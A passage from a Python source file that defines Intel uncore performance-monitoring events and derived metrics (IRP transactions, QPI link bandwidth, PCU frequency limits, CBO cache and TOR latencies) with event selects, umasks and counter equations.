"IRP.TRANSACTIONS.OTHER": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Defn": "Counts the number of \"Inbound\" transactions from the IRP to the Uncore. This can be filtered based on request type in addition to the source queue. Note the special filtering equation. We do OR-reduction on the request type. If the SOURCE bit is set, then we also do AND qualification based on the source portID.",
"Desc": "Inbound Transaction Count",
"EvSel": 22,
"ExtSel": "",
"Notes": "Bit 7 is a filter that can be applied to the other subevents. Meaningless by itself.",
"Umask": "bxx1xxxxx",
},
"IRP.TRANSACTIONS.ORDERINGQ": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Defn": "Counts the number of \"Inbound\" transactions from the IRP to the Uncore. This can be filtered based on request type in addition to the source queue. Note the special filtering equation. We do OR-reduction on the request type. If the SOURCE bit is set, then we also do AND qualification based on the source portID.",
"Desc": "Inbound Transaction Count",
"EvSel": 22,
"ExtSel": "",
"Notes": "Bit 7 is a filter that can be applied to the other subevents. Meaningless by itself.",
"Umask": "bx1xxxxxx",
},
"IRP.TRANSACTIONS.WRITES": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Defn": "Counts the number of \"Inbound\" transactions from the IRP to the Uncore. This can be filtered based on request type in addition to the source queue. Note the special filtering equation. We do OR-reduction on the request type. If the SOURCE bit is set, then we also do AND qualification based on the source portID.",
"Desc": "Inbound Transaction Count",
"EvSel": 22,
"ExtSel": "",
"Notes": "Bit 7 is a filter that can be applied to the other subevents. Meaningless by itself.",
"Umask": "bxxxxxx1x",
},
"IRP.TRANSACTIONS.ATOMIC": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Defn": "Counts the number of \"Inbound\" transactions from the IRP to the Uncore. This can be filtered based on request type in addition to the source queue. Note the special filtering equation. We do OR-reduction on the request type. If the SOURCE bit is set, then we also do AND qualification based on the source portID.",
"Desc": "Inbound Transaction Count",
"EvSel": 22,
"ExtSel": "",
"Notes": "Bit 7 is a filter that can be applied to the other subevents. Meaningless by itself.",
"Umask": "bxxx1xxxx",
},
"IRP.TRANSACTIONS.WR_PREF": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Defn": "Counts the number of \"Inbound\" transactions from the IRP to the Uncore. This can be filtered based on request type in addition to the source queue. Note the special filtering equation. We do OR-reduction on the request type. If the SOURCE bit is set, then we also do AND qualification based on the source portID.",
"Desc": "Inbound Transaction Count",
"EvSel": 22,
"ExtSel": "",
"Notes": "Bit 7 is a filter that can be applied to the other subevents. Meaningless by itself.",
"Umask": "bxxxx1xxx",
},
"IRP.TRANSACTIONS.RD_PREF": {
"Box": "IRP",
"Category": "IRP TRANSACTIONS Events",
"Counters": "0-1",
"Defn": "Counts the number of \"Inbound\" transactions from the IRP to the Uncore. This can be filtered based on request type in addition to the source queue. Note the special filtering equation. We do OR-reduction on the request type. If the SOURCE bit is set, then we also do AND qualification based on the source portID.",
"Desc": "Inbound Transaction Count",
"EvSel": 22,
"ExtSel": "",
"Notes": "Bit 7 is a filter that can be applied to the other subevents. Meaningless by itself.",
"Umask": "bxxxxx1xx",
},
"IRP.TxR_AD_STALL_CREDIT_CYCLES": {
"Box": "IRP",
"Category": "IRP STALL_CYCLES Events",
"Counters": "0-1",
"Defn": "Counts the number times when it is not possible to issue a request to the R2PCIe because there are no AD Egress Credits available.",
"Desc": "No AD Egress Credit Stalls",
"EvSel": 24,
"ExtSel": "",
},
"IRP.TxR_BL_STALL_CREDIT_CYCLES": {
"Box": "IRP",
"Category": "IRP STALL_CYCLES Events",
"Counters": "0-1",
"Defn": "Counts the number times when it is not possible to issue data to the R2PCIe because there are no BL Egress Credits available.",
"Desc": "No BL Egress Credit Stalls",
"EvSel": 25,
"ExtSel": "",
},
"IRP.TxR_DATA_INSERTS_NCB": {
"Box": "IRP",
"Category": "IRP OUTBOUND_REQUESTS Events",
"Counters": "0-1",
"Defn": "Counts the number of requests issued to the switch (towards the devices).",
"Desc": "Outbound Read Requests",
"EvSel": 14,
"ExtSel": "",
},
"IRP.TxR_DATA_INSERTS_NCS": {
"Box": "IRP",
"Category": "IRP OUTBOUND_REQUESTS Events",
"Counters": "0-1",
"Defn": "Counts the number of requests issued to the switch (towards the devices).",
"Desc": "Outbound Read Requests",
"EvSel": 15,
"ExtSel": "",
},
"IRP.TxR_REQUEST_OCCUPANCY": {
"Box": "IRP",
"Category": "IRP OUTBOUND_REQUESTS Events",
"Counters": "0-1",
"Defn": "Accumultes the number of outstanding outbound requests from the IRP to the switch (towards the devices). This can be used in conjuection with the allocations event in order to calculate average latency of outbound requests.",
"Desc": "Outbound Request Queue Occupancy",
"EvSel": 13,
"ExtSel": "",
"SubCtr": 1,
},
}
derived = {
# QPI_LL:
"QPI_LL.DATA_FROM_QPI": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "Data received from QPI in bytes ( = DRS + NCB Data messages received from QPI)",
"Desc": "Data From QPI",
"Equation": "DRS_DATA_MSGS_FROM_QPI + NCB_DATA_MSGS_FROM_QPI",
},
"QPI_LL.DATA_FROM_QPI_TO_HA_OR_IIO": {
"Box": "QPI_LL",
"Category": "QPI_LL DIRECT2CORE Events",
"Defn": "Data received from QPI forwarded to HA or IIO. Expressed in Bytes",
"Desc": "Data From QPI To HA or IIO",
"Equation": "DATA_FROM_QPI - DATA_FROM_QPI_TO_LLC",
},
"QPI_LL.DATA_FROM_QPI_TO_LLC": {
"Box": "QPI_LL",
"Category": "QPI_LL DIRECT2CORE Events",
"Defn": "Data received from QPI forwarded to LLC. Expressed in Bytes",
"Desc": "Data From QPI To LLC",
"Equation": "DIRECT2CORE.SUCCESS_RBT_HIT * 64",
},
"QPI_LL.DATA_FROM_QPI_TO_NODEx": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "Data packets received from QPI sent to Node ID 'x'. Expressed in bytes",
"Desc": "Data From QPI To Node x",
"Equation": "DRS_DataC_FROM_QPI_TO_NODEx + DRS_WRITE_FROM_QPI_TO_NODEx + NCB_DATA_FROM_QPI_TO_NODEx",
},
"QPI_LL.DRS_DATA_MSGS_FROM_QPI": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Defn": "DRS Data Messges From QPI in bytes",
"Desc": "DRS Data Messges From QPI",
"Equation": "(RxL_FLITS_G1.DRS_DATA * 8)",
},
"QPI_LL.DRS_DataC_FROM_QPI_TO_NODEx": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "DRS DataC packets received from QPI sent to Node ID 'x'. Expressed in bytes",
"Desc": "DRS DataC From QPI To Node x",
"Equation": "(CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0{[12:0],dnid}={0x1C00,x}, Q_Py_PCI_PMON_PKT_MASK0[17:0]=0x3FF80}) * 64",
"Filter": "QPIRxMask0[17:0],QPIRxMatch0[17:0];QPITxMask0[17:0],QPITxMatch0[17:0]",
},
"QPI_LL.DRS_DataC_M_FROM_QPI": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "DRS DataC_F packets received from QPI. Expressed in bytes",
"Desc": "DRS DataC_Fs From QPI",
"Equation": "(CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1C00, Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1FE0, Q_Py_PCI_PMON_PKT_MATCH1[19:16]=0x1, Q_Py_PCI_PMON_PKT_MASK1[19:16]=0xF }) * 64",
"Filter": "QPIMask0[17:0],QPIMatch0[17:0],QPIMask1[19:16],QPIMatch1[19:16]",
},
"QPI_LL.DRS_FULL_CACHELINE_MSGS_FROM_QPI": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "DRS Full Cacheline Data Messges From QPI in bytes",
"Desc": "DRS Full Cacheline Data Messges From QPI",
"Equation": "(CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1C00,Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1F00}) * 64",
"Filter": "QPIRxMask0[12:0],QPIRxMatch0[12:0];QPITxMask0[12:0],QPITxMatch0[12:0]",
},
"QPI_LL.DRS_F_OR_E_FROM_QPI": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "DRS response in F or E states received from QPI in bytes. To calculate the total data response for each cache line state, it's necessary to add the contribution from three flavors {DataC, DataC_FrcAckCnflt, DataC_Cmp} of data response packets for each cache line state.",
"Desc": "DRS Data in F or E From QPI",
"Equation": "((CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1C00, Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1FE0, Q_Py_PCI_PMON_PKT_MATCH1[19:16]=0x4, Q_Py_PCI_PMON_PKT_MASK1[19:16]=0xF }) + (CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1C00, Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1FE0, Q_Py_PCI_PMON_PKT_MATCH1[19:16]=0x1, Q_Py_PCI_PMON_PKT_MASK1[19:16]=0xF }) + (CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1C40, Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1FE0, Q_Py_PCI_PMON_PKT_MATCH1[19:16]=0x4, Q_Py_PCI_PMON_PKT_MASK1[19:16]=0xF }) + (CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1C40, Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1FE0, Q_Py_PCI_PMON_PKT_MATCH1[19:16]=0x1, Q_Py_PCI_PMON_PKT_MASK1[19:16]=0xF }) + (CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1C20, Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1FE0, Q_Py_PCI_PMON_PKT_MATCH1[19:16]=0x4, Q_Py_PCI_PMON_PKT_MASK1[19:16]=0xF }) + (CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1C20, Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1FE0, Q_Py_PCI_PMON_PKT_MATCH1[19:16]=0x1, Q_Py_PCI_PMON_PKT_MASK1[19:16]=0xF })) * 64",
"Filter": "QPIRxMask0[12:0],QPIRxMatch0[12:0],QPIRxMask1[19:16],QPIRxMatch1[19:16];QPITxMask0[12:0],QPITxMatch0[12:0],QPITxMask1[19:16],QPITxMatch1[19:16]",
},
"QPI_LL.DRS_M_FROM_QPI": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "DRS response in M state received from QPI in bytes",
"Desc": "DRS Data in M From QPI",
"Equation": "(CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1C00, Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1FE0, Q_Py_PCI_PMON_PKT_MATCH1[19:16]=0x8, Q_Py_PCI_PMON_PKT_MASK1[19:16]=0xF }) * 64",
"Filter": "QPIRxMask0[12:0],QPIRxMatch0[12:0],QPIRxMask1[19:16],QPIRxMatch1[19:16];QPITxMask0[12:0],QPITxMatch0[12:0],QPITxMask1[19:16],QPITxMatch1[19:16]",
},
"QPI_LL.DRS_PTL_CACHELINE_MSGS_FROM_QPI": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "DRS Partial Cacheline Data Messges From QPI in bytes",
"Desc": "DRS Partial Cacheline Data Messges From QPI",
"Equation": "(CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1D00, Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1F00}) * 64",
"Filter": "QPIRxMask0[12:0],QPIRxMatch0[12:0];QPITxMask0[12:0],QPITxMatch0[12:0]",
},
"QPI_LL.DRS_WB_FROM_QPI": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "DRS writeback packets received from QPI in bytes. This is the sum of Wb{I,S,E} DRS packets",
"Desc": "DRS Writeback From QPI",
"Equation": "DRS_WbI_FROM_QPI + DRS_WbS_FROM_QPI + DRS_WbE_FROM_QPI",
},
"QPI_LL.DRS_WRITE_FROM_QPI_TO_NODEx": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "DRS Data packets (Any - DataC) received from QPI sent to Node ID 'x'. Expressed in bytes",
"Desc": "DRS Data From QPI To Node x",
"Equation": "((CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0{[12:0],dnid}={0x1C00,x}, Q_Py_PCI_PMON_PKT_MASK0[17:0]=0x3FE00}) - (CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0{[12:0],dnid}={0x1C00,x}, Q_Py_PCI_PMON_PKT_MASK0[17:0]=0x3FF80})) * 64",
"Filter": "QPIRxMask0[17:0],QPIRxMatch0[17:0];QPITxMask0[17:0],QPITxMatch0[17:0]",
},
"QPI_LL.DRS_WbE_FROM_QPI": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "DRS writeback 'change to E state' packets received from QPI in bytes",
"Desc": "DRS WbE From QPI",
"Equation": "(CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1CC0, Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1FE0}) * 64",
"Filter": "QPIRxMask0[12:0],QPIRxMatch0[12:0];QPITxMask0[12:0],QPITxMatch0[12:0]",
},
"QPI_LL.DRS_WbI_FROM_QPI": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "DRS writeback 'change to I state' packets received from QPI in bytes",
"Desc": "DRS WbI From QPI",
"Equation": "(CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1C80, Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1FE0}) * 64",
"Filter": "QPIRxMask0[12:0],QPIRxMatch0[12:0];QPITxMask0[12:0],QPITxMatch0[12:0]",
},
"QPI_LL.DRS_WbS_FROM_QPI": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "DRS writeback 'change to S state' packets received from QPI in bytes",
"Desc": "DRS WbSFrom QPI",
"Equation": "(CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0[12:0]=0x1CA0, Q_Py_PCI_PMON_PKT_MASK0[12:0]=0x1FE0}) * 64",
"Filter": "QPIRxMask0[12:0],QPIRxMatch0[12:0];QPITxMask0[12:0],QPITxMatch0[12:0]",
},
"QPI_LL.NCB_DATA_FROM_QPI_TO_NODEx": {
"Box": "QPI_LL",
"Category": "QPI_LL CTO Events",
"Defn": "NCB Data packets (Any - Interrupts) received from QPI sent to Node ID 'x'. Expressed in bytes",
"Desc": "NCB Data From QPI To Node x",
"Equation": "((CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0{[12:0],dnid}={0x1800,x}, Q_Py_PCI_PMON_PKT_MASK0[17:0]=0x3FE00}) - (CTO_COUNT with:{Q_Py_PCI_PMON_PKT_MATCH0{[12:0],dnid}={0x1900,x}, Q_Py_PCI_PMON_PKT_MASK0[17:0]=0x3FF80})) * 64",
"Filter": "QPIRxMask0[17:0],QPIRxMatch0[17:0];QPITxMask0[17:0],QPITxMatch0[17:0]",
},
"QPI_LL.NCB_DATA_MSGS_FROM_QPI": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Defn": "NCB Data Messages From QPI in bytes",
"Desc": "NCB Data Messages From QPI",
"Equation": "(RxL_FLITS_G2.NCB_DATA * 8)",
},
"QPI_LL.PCT_LINK_FULL_POWER_CYCLES": {
"Box": "QPI_LL",
"Category": "QPI_LL POWER_RX Events",
"Defn": "Percent of Cycles the QPI link is at Full Power",
"Desc": "Percent Link Full Power Cycles",
"Equation": "RxL0_POWER_CYCLES / CLOCKTICKS",
},
"QPI_LL.PCT_LINK_HALF_DISABLED_CYCLES": {
"Box": "QPI_LL",
"Category": "QPI_LL POWER_RX Events",
"Defn": "Percent of Cycles the QPI link in power mode where half of the lanes are disabled.",
"Desc": "Percent Link Half Disabled Cycles",
"Equation": "RxL0P_POWER_CYCLES / CLOCKTICKS",
},
"QPI_LL.PCT_LINK_SHUTDOWN_CYCLES": {
"Box": "QPI_LL",
"Category": "QPI_LL POWER Events",
"Defn": "Percent of Cycles the QPI link is Shutdown",
"Desc": "Percent Link Shutdown Cycles",
"Equation": "L1_POWER_CYCLES / CLOCKTICKS",
},
"QPI_LL.QPI_DATA_BW": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Defn": "QPI data transmit bandwidth in Bytes",
"Desc": "QPI Data Bandwidth",
"Equation": "TxL_FLITS_G0.DATA * 8",
},
"QPI_LL.QPI_LINK_BW": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Defn": "QPI total transmit bandwidth in Bytes (includes control)",
"Desc": "QPI Link Bandwidth",
"Equation": "(TxL_FLITS_G0.DATA + TxL_FLITS_G0.NON_DATA) * 8",
},
#"QPI_LL.QPI_LINK_UTIL": {
# "Box": "QPI_LL",
# "Category": "QPI_LL FLITS_RX Events",
# "Defn": "Percentage of cycles that QPI Link was utilized. Calculated from 1 - Number of idle flits - time the link was 'off'",
# "Desc": "QPI Link Utilization",
# "Equation": "(RxL_FLITS_G0.DATA + RxL_FLITS_G0.NON_DATA) / (2 * CLOCKTICKS)",
#},
# PCU:
#"PCU.PCT_CYC_FREQ_CURRENT_LTD": {
# "Box": "PCU",
# "Category": "PCU FREQ_MAX_LIMIT Events",
# "Defn": "Percentage of Cycles the Max Frequency is limited by current",
# "Desc": "Percent Frequency Current Limited",
# "Equation": "FREQ_MAX_CURRENT_CYCLES / CLOCKTICKS",
#},
"PCU.PCT_CYC_FREQ_OS_LTD": {
"Box": "PCU",
"Category": "PCU FREQ_MAX_LIMIT Events",
"Defn": "Percentage of Cycles the Max Frequency is limited by the OS",
"Desc": "Percent Frequency OS Limited",
"Equation": "FREQ_MAX_OS_CYCLES / CLOCKTICKS",
},
"PCU.PCT_CYC_FREQ_POWER_LTD": {
"Box": "PCU",
"Category": "PCU FREQ_MAX_LIMIT Events",
"Defn": "Percentage of Cycles the Max Frequency is limited by power",
"Desc": "Percent Frequency Power Limited",
"Equation": "FREQ_MAX_POWER_CYCLES / CLOCKTICKS",
},
#"PCU.PCT_CYC_FREQ_THERMAL_LTD": {
# "Box": "PCU",
# "Category": "PCU FREQ_MAX_LIMIT Events",
# "Defn": "Percentage of Cycles the Max Frequency is limited by thermal issues",
# "Desc": "Percent Frequency Thermal Limited",
# "Equation": "FREQ_MAX_THERMAL_CYCLES / CLOCKTICKS",
#},
# R2PCIe:
"R2PCIe.CYC_USED_DN": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Defn": "Cycles Used in the Down direction, Even polarity",
"Desc": "Cycles Used Down and Even",
"Equation": "RING_BL_USED.CCW / SAMPLE_INTERVAL",
},
"R2PCIe.CYC_USED_UP": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Defn": "Cycles Used in the Up direction, Even polarity",
"Desc": "Cycles Used Up and Even",
"Equation": "RING_BL_USED.CW / SAMPLE_INTERVAL",
},
"R2PCIe.RING_THRU_DN_BYTES": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Defn": "Ring throughput in the Down direction, Even polarity in Bytes",
"Desc": "Ring Throughput Down and Even",
"Equation": "RING_BL_USED.CCW* 32",
},
"R2PCIe.RING_THRU_UP_BYTES": {
"Box": "R2PCIe",
"Category": "R2PCIe RING Events",
"Defn": "Ring throughput in the Up direction, Even polarity in Bytes",
"Desc": "Ring Throughput Up and Even",
"Equation": "RING_BL_USED.CW * 32",
},
# CBO:
"CBO.AVG_INGRESS_DEPTH": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Defn": "Average Depth of the Ingress Queue through the sample interval",
"Desc": "Average Ingress Depth",
"Equation": "RxR_OCCUPANCY.IRQ / SAMPLE_INTERVAL",
},
"CBO.AVG_INGRESS_LATENCY": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Defn": "Average Latency of Requests through the Ingress Queue in Uncore Clocks",
"Desc": "Average Ingress Latency",
"Equation": "RxR_OCCUPANCY.IRQ / RxR_INSERTS.IRQ",
},
"CBO.AVG_INGRESS_LATENCY_WHEN_NE": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Defn": "Average Latency of Requests through the Ingress Queue in Uncore Clocks when Ingress Queue has at least one entry",
"Desc": "Average Latency in Non-Empty Ingress",
"Equation": "RxR_OCCUPANCY.IRQ / COUNTER0_OCCUPANCY{edge_det=1,thresh=0x1}",
},
"CBO.AVG_TOR_DRDS_MISS_WHEN_NE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Average Number of Data Read Entries that Miss the LLC when the TOR is not empty.",
"Desc": "Average Data Read Misses in Non-Empty TOR",
"Equation": "(TOR_OCCUPANCY.MISS_OPCODE / COUNTER0_OCCUPANCY{edge_det=1,thresh=0x1}) with:Cn_MSR_PMON_BOX_FILTER1.opc=0x182",
"Filter": "CBoFilter1[28:20]",
},
"CBO.AVG_TOR_DRDS_WHEN_NE": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Average Number of Data Read Entries when the TOR is not empty.",
"Desc": "Average Data Reads in Non-Empty TOR",
"Equation": "(TOR_OCCUPANCY.OPCODE / COUNTER0_OCCUPANCY{edge_det=1,thresh=0x1}) with:Cn_MSR_PMON_BOX_FILTER1.opc=0x182",
"Filter": "CBoFilter1[28:20]",
},
"CBO.AVG_TOR_DRD_HIT_LATENCY": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Average Latency of Data Reads through the TOR that hit the LLC",
"Desc": "Data Read Hit Latency through TOR",
"Equation": "((TOR_OCCUPANCY.OPCODE - TOR_OCCUPANCY.MISS_OPCODE) / (TOR_INSERTS.OPCODE - TOR_INSERTS.MISS_OPCODE)) with:Cn_MSR_PMON_BOX_FILTER.opc=0x182",
"Filter": "CBoFilter1[28:20]",
},
"CBO.AVG_TOR_DRD_LATENCY": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Average Latency of Data Read Entries making their way through the TOR",
"Desc": "Data Read Latency through TOR",
"Equation": "(TOR_OCCUPANCY.OPCODE / TOR_INSERTS.OPCODE) with:Cn_MSR_PMON_BOX_FILTER1.opc=0x182",
"Filter": "CBoFilter1[28:20]",
},
"CBO.AVG_TOR_DRD_LOC_MISS_LATENCY": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Average Latency of Data Reads through the TOR that miss the LLC and were satsified by Local Memory",
"Desc": "Data Read Local Miss Latency through TOR",
"Equation": "(TOR_OCCUPANCY.MISS_OPCODE / TOR_INSERTS.MISS_OPCODE) with:Cn_MSR_PMON_BOX_FILTER1.{opc,nid}={0x182,my_node}",
"Filter": "CBoFilter1[28:20], CBoFilter1[15:0]",
},
"CBO.AVG_TOR_DRD_MISS_LATENCY": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Average Latency of Data Reads through the TOR that miss the LLC",
"Desc": "Data Read Miss Latency through TOR",
"Equation": "(TOR_OCCUPANCY.MISS_OPCODE / TOR_INSERTS.MISS_OPCODE) with:Cn_MSR_PMON_BOX_FILTER1.opc=0x182",
"Filter": "CBoFilter1[28:20]",
},
"CBO.AVG_TOR_DRD_REM_MISS_LATENCY": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Average Latency of Data Reads through the TOR that miss the LLC and were satsified by a Remote cache or Remote Memory",
"Desc": "Data Read Remote Miss Latency through TOR",
"Equation": "(TOR_OCCUPANCY.MISS_OPCODE / TOR_INSERTS.MISS_OPCODE) with:Cn_MSR_PMON_BOX_FILTER.{opc,nid}={0x182,other_nodes}",
"Filter": "CBoFilter1[28:20], CBoFilter1[15:0]",
},
"CBO.CYC_INGRESS_BLOCKED": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Defn": "Cycles the Ingress Request Queue arbiter was Blocked",
"Desc": "Cycles Ingress Blocked",
"Equation": "RxR_EXT_STARVED.IRQ / SAMPLE_INTERVAL",
},
"CBO.CYC_USED_DN": {
"Box": "CBO",
"Category": "CBO RING Events",
"Defn": "Cycles Used in the Down direction, Even polarity",
"Desc": "Cycles Used Down and Even",
"Equation": "RING_BL_USED.CCW / SAMPLE_INTERVAL",
},
"CBO.CYC_USED_UP": {
"Box": "CBO",
"Category": "CBO RING Events",
"Defn": "Cycles Used in the Up direction, Even polarity",
"Desc": "Cycles Used Up and Even",
"Equation": "RING_BL_USED.CW / SAMPLE_INTERVAL",
},
"CBO.FAST_STR_LLC_MISS": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Number of ItoM (fast string) operations that miss the LLC",
"Desc": "Fast String misses",
# XXX correct?
"Equation": "TOR_INSERTS.MISS_OPCODE with:{Cn_MSR_PMON_BOX_FILTER1.opc=0x1C8, Cn_MSR_PMON_BOX_FILTER0.tid=0x3E}",
"Filter": "CBoFilter1[28:20]",
},
"CBO.FAST_STR_LLC_REQ": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Number of ItoM (fast string) operations that reference the LLC",
"Desc": "Fast String operations",
# XXX guessing at the minus
"Equation": "TOR_INSERTS.OPCODE with:{Cn_MSR_PMON_BOX_FILTER1.opc=0x1C8, Cn_MSR_PMON_BOX_FILTER0.tid=0x3E} - TOR_INSERTS.OPCODE with:{Cn_MSR_PMON_BOX_FILTER1.opc=0x1C8}",
"Filter": "CBoFilter1[28:20]",
},
"CBO.INGRESS_REJ_V_INS": {
"Box": "CBO",
"Category": "CBO INGRESS Events",
"Defn": "Ratio of Ingress Request Entries that were rejected vs. inserted",
"Desc": "Ingress Rejects vs. Inserts",
"Equation": "RxR_INSERTS.IRQ_REJ / RxR_INSERTS.IRQ",
},
"CBO.IO_READ_BW": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "IO Read Bandwidth in MB - Disk or Network Reads",
"Desc": "IO Read Bandwidth",
"Equation": "(TOR_INSERTS.OPCODE with:{Cn_MSR_PMON_BOX_FILTER0.tid=0x3E, Cn_MSR_PMON_BOX_FILTER1.opc=0x1C8} + TOR_INSERTS.OPCODE with:{Cn_MSR_PMON_BOX_FILTER.opc=0x1E6} ) * 64 / 1000000",
"Filter": "CBoFilter0[5:0], CBoFilter1[28:20]",
},
"CBO.IO_WRITE_BW": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "IO Write Bandwidth in MB - Disk or Network Writes",
"Desc": "IO Write Bandwidth",
"Equation": "(TOR_INSERTS.OPCODE with:Cn_MSR_PMON_BOX_FILTER1.opc=0x19E + TOR_INSERTS.OPCODE with:Cn_MSR_PMON_BOX_FILTER.opc=0x1E4) * 64 / 1000000",
"Filter": "CBoFilter1[28:20]",
},
"CBO.LLC_DRD_MISS_PCT": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Defn": "LLC Data Read miss ratio",
"Desc": "LLC DRD Miss Ratio",
"Equation": "LLC_LOOKUP.DATA_READ with:Cn_MSR_PMON_BOX_FILTER0.state=0x1 / LLC_LOOKUP.DATA_READ with:Cn_MSR_PMON_BOX_FILTER0.state=0x3F",
"Filter": "CBoFilter0[23:17]",
},
"CBO.LLC_RFO_MISS_PCT": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "LLC RFO Miss Ratio",
"Desc": "LLC RFO Miss Ratio",
"Equation": "(TOR_INSERTS.MISS_OPCODE / TOR_INSERTS.OPCODE) with:Cn_MSR_PMON_BOX_FILTER1.opc=0x180 - (TOR_INSERTS.MISS_OPCODE / TOR_INSERTS.OPCODE) with:{Cn_MSR_PMON_BOX_FILTER0.tid=0x3E, Cn_MSR_PMON_BOX_FILTER1.opc=0x180}",
"Filter": "CBoFilter1[28:20]",
},
"CBO.MEM_WB_BYTES": {
"Box": "CBO",
"Category": "CBO CACHE Events",
"Defn": "Data written back to memory in Number of Bytes",
"Desc": "Memory Writebacks",
"Equation": "LLC_VICTIMS.M_STATE * 64",
},
"CBO.MMIO_PARTIAL_READS_CPU": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Number of Partial MMIO Reads initiated by a Core",
"Desc": "MMIO Partial Reads - CPU",
"Equation": "TOR_INSERTS.OPCODE with:{Cn_MSR_PMON_BOX_FILTER0.nc=1, Cn_MSR_PMON_BOX_FILTER1.opc=0x187}",
"Filter": "CBoFilter1[28:20], CBoFilter1[30]",
},
"CBO.MMIO_WRITES_CPU": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Number of MMIO Writes initiated by a Core",
"Desc": "MMIO Writes - CPU",
"Equation": "TOR_INSERTS.OPCODE with:{Cn_MSR_PMON_BOX_FILTER0.nc=1, Cn_MSR_PMON_BOX_FILTER1.opc=0x18F}",
"Filter": "CBoFilter1[28:20], CBoFilter1[30]",
},
"CBO.PARTIAL_PCI_WRITES": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Number of partial PCI writes",
"Desc": "Partial PCI Writes",
"Equation": "TOR_INSERTS.OPCODE with:{Cn_MSR_PMON_BOX_FILTER0.tid=0x3E,Cn_MSR_PMON_BOX_FILTER1.opc=0x180}",
"Filter": "CBoFilter0[5:0], CBoFilter1[28:20]",
},
"CBO.PCI_READS": {
"Box": "CBO",
"Category": "CBO TOR Events",
"Defn": "Number of PCI reads (full and partial)",
"Desc": "PCI Reads",
"Equation": "TOR_INSERTS.OPCODE with:Cn_MSR_PMON_BOX_FILTER1.opc=0x19E",
"Filter": "CBoFilter1[28:20]",
},
